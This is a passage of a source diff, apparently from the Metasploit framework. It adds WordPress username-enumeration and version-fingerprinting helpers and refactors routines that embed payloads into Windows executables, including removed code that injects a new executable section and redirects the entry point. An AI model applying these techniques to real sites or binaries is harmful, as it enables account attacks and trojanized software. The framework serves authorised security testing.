normalize_uri(target_uri.path, "?p=#{post_id}")
end
# Returns the Wordpress Author URL
#
# @param author_id [Integer] Author ID
# @return [String] Wordpress Author URL
def wordpress_url_author(author_id)
normalize_uri(target_uri.path, "?author=#{author_id}")
end
# Returns the Wordpress RSS feed URL
#
# @return [String] Wordpress RSS URL
def wordpress_url_rss
normalize_uri(target_uri.path, '?feed=rss2')
end
# Returns the Wordpress RDF feed URL
#
# @return [String] Wordpress RDF URL
def wordpress_url_rdf
normalize_uri(target_uri.path, 'feed/rdf/')
end
# Returns the Wordpress ATOM feed URL
#
# @return [String] Wordpress ATOM URL
def wordpress_url_atom
normalize_uri(target_uri.path, 'feed/atom/')
end
# Returns the Wordpress Readme file URL
#
# @return [String] Wordpress Readme file URL
def wordpress_url_readme
normalize_uri(target_uri.path, 'readme.html')
end
# Returns the Wordpress Sitemap URL
#
# @return [String] Wordpress Sitemap URL
def wordpress_url_sitemap
normalize_uri(target_uri.path, 'sitemap.xml')
end
# Returns the Wordpress OPML URL
#
# @return [String] Wordpress OPML URL
def wordpress_url_opml
normalize_uri(target_uri.path, 'wp-links-opml.php')
end
end

View File

@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Users
# Checks if the given user exists
#
# @param user [String] Username
# @return [Boolean] true if the user exists
def wordpress_user_exists?(user)
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
})
return true if res and res.code == 200 and
(res.body.to_s =~ /Incorrect password/ or
res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
return false
end
# Checks if the given userid exists
#
# @param user_id [Integer] user_id
# @return [String,nil] the Username if it exists, nil otherwise
def wordpress_userid_exists?(user_id)
# Wordpress returns all posts from all users on user_id 0
return nil if user_id < 1
url = wordpress_url_author(user_id)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
if res and res.code == 301
uri = wordpress_helper_parse_location_header(res)
return nil unless uri
# try to extract username from location
if uri.to_s =~ /\/author\/([^\/\b]+)\/?/i
return $1
end
uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
end
if res.nil?
print_error("#{peer} - Error getting response.")
return nil
elsif res.code == 200 and
(
res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i or
res.body =~ /Posts by (\w+) Feed/i or
res.body =~ /<span class='vcard'><a class='url fn n' href='[^"']+' title='[^"']+' rel='me'>([^<]+)<\/a><\/span>/i or
res.body =~ /<title>.*(\b\w+\b)<\/title>/i
)
return $1
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Version
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
def wordpress_version
# detect version from generator
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
return version if version
# detect version from readme
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
return version if version
# detect version from rss
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
return version if version
# detect version from rdf
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
return version if version
# detect version from atom
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
return version if version
# detect version from sitemap
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
return version if version
# detect version from opml
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
return version if version
nil
end
private
# Used to check if the version is correct: must contain at least one dot.
#
# @return [ String ]
def wordpress_version_pattern
'([^\r\n"\']+\.[^\r\n"\']+)'
end
def wordpress_version_helper(url, regex)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
if res
match = res.body.match(regex)
if match
return match[1]
end
end
nil
end
end

View File

@ -1546,7 +1546,8 @@ class Db
return
end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
if (::File.exists? ::File.expand_path(file))
file = ::File.expand_path(file)
if (::File.exists? file)
db = YAML.load(::File.read(file))['production']
framework.db.connect(db)
@ -1744,23 +1745,31 @@ class Db
# Miscellaneous option helpers
#
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
#
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+
#
# Returns true if parsing was successful or nil otherwise.
#
# NOTE: This modifies +host_ranges+
# @note This modifies +host_ranges+ in place
#
# @param arg [String] The thing to turn into a RangeWalker
# @param host_ranges [Array] The array of ranges to append
# @param required [Boolean] Whether an empty +arg+ should be an error
# @return [Boolean] true if parsing was successful or false otherwise
def arg_host_range(arg, host_ranges, required=false)
if (!arg and required)
print_error("Missing required host argument")
return
return false
end
begin
host_ranges << Rex::Socket::RangeWalker.new(arg)
rw = Rex::Socket::RangeWalker.new(arg)
rescue
print_error("Invalid host parameter, #{arg}.")
return
return false
end
if rw.valid?
host_ranges << rw
else
print_error("Invalid host parameter, #{arg}.")
return false
end
return true
end

View File

@ -16,6 +16,7 @@ require 'rex/pescan'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
##
#
@ -66,6 +67,7 @@ require 'digest/sha1'
return template % hash_sub
end
##
#
# Executable generators
@ -185,80 +187,12 @@ require 'digest/sha1'
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject])
if endjunk
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
end
#find first section file offset and free RVA for new section
free_rva = pe.hdr.opt.AddressOfEntryPoint
first_off = sections_end
pe.sections.each do |sec|
first_off = sec.file_offset if sec.file_offset < first_off
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
end
#align free_rva
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
#See if we can add a section
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
raise RuntimeError, "Not enough room for new section header"
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
start_rva = free_rva
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
#pad to file alignment
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
#make new section header
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
new_sechead.v['VirtualAddress'] = free_rva
new_sechead.v['SizeOfRawData'] = new_sec.length
new_sechead.v['PointerToRawData'] = sections_end
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
#New file header with updated number of sections and timedatestamp
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
new_opthead.v['AddressOfEntryPoint'] = start_rva
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
#kill certificate; if it exists, we just invalidated it
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
#new section header and new section
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
exe = injector.generate_pe
return exe
end
@ -458,168 +392,100 @@ require 'digest/sha1'
return pe
end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
def self.exe_sub_method(code,opts ={})
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
case opts[:exe_type]
when :service_exe
max_length = 8192
name = opts[:servicename]
if (code.length <= 4096)
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= max_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
end
return pe
end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 4096)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject])
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64
})
exe = injector.generate_pe
return exe
end
return pe
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win32pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
pe = ''
File.open(opts[:template], 'rb') { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
def self.to_win64pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
opts[:exe_type] = :dll
exe_sub_method(code,opts)
end
def self.to_win64pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
opts[:exe_type] = :dll
exe_sub_method(code,opts)
end
def self.to_osx_arm_macho(framework, code, opts={})

View File

@ -280,7 +280,7 @@ class RbMysql
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
# You should use place-holder in prepared-statement.
def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s
when "\0" then "\\0"
when "\n" then "\\n"

View File

@ -32,7 +32,7 @@ class RbMysql
alias get_client_info client_info
def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s
when "\0" then "\\0"
when "\n" then "\\n"

View File

@ -5272,7 +5272,7 @@ module RbReadline
# Actually update the display, period.
def rl_forced_update_display()
if (@visible_line)
@visible_line.gsub!(/[^\x00]/,0.chr)
@visible_line.gsub!(/[^\x00]/n,0.chr)
end
rl_on_new_line()
@forced_display=true if !@forced_display
@ -8520,7 +8520,7 @@ module RbReadline
count -= 1
end
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
case @encoding
when 'E'

Some files were not shown because too many files have changed in this diff Show More